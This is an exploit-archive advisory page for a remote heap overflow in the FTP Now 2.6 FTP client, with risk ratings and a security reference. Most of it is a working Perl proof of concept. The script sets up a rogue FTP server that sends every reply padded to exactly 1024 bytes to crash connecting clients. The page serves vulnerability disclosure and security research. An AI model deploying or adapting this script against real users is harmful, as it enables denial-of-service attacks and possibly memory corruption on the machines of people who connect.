FTP Now 2.6 Server Response Remote Crash PoC

2008.11.14
Credit: Dr.Pantagon
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/perl # By Dr.Pantagon # www.deltasecurity.ir # DeltaSecurityCenter # Special Tnx D_7J AND H!V++ # FTP Now version 2.6 Server Response PoC # Usage: ./ftpnow.pl [IP] # Download Link : http://www.network-client.com/ftpnow/FTPNow26.exe # # Details: The response is broken into buffers, either at length 1024, # or at '\r\n'. Each buffer is apended with \x00, without # bounds checking. If the response is exctly 1024 characters # in length, you will overflow the heap with the string \x00. use IO::Socket; use strict; # Create listener my $ip=shift || '127.0.0.1'; # Default ip my $sock = IO::Socket::INET->new(Listen=>1, LocalHost=>$ip, LocalPort=>'21', #Default port Proto=>'tcp'); $sock or die ("Could not create listener.\nMake sure no FTP server is running, and you are running this as root.\n"); # Wait for initial connection and send banner my $sock_in = $sock->accept(); print $sock_in "220 dara daram , dara daram :D \r\n"; # Send response code with total lenght of response = 1024 while (<$sock_in>){ my $response; if($_ eq "USER") { $response="331 ";} elsif($_ eq "PASS") { $response="230 ";} elsif($_ eq "syst") { $response="215 ";} elsif($_ eq "CWD") { $response="250 ";} elsif($_ eq "PWD") { $response="230 ";} else { $response="200 ";} print $sock_in $response."A"x(1024-length($response)-2)."\r\n"; } close($sock);

References:

http://www.securityfocus.com/bid/32080


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top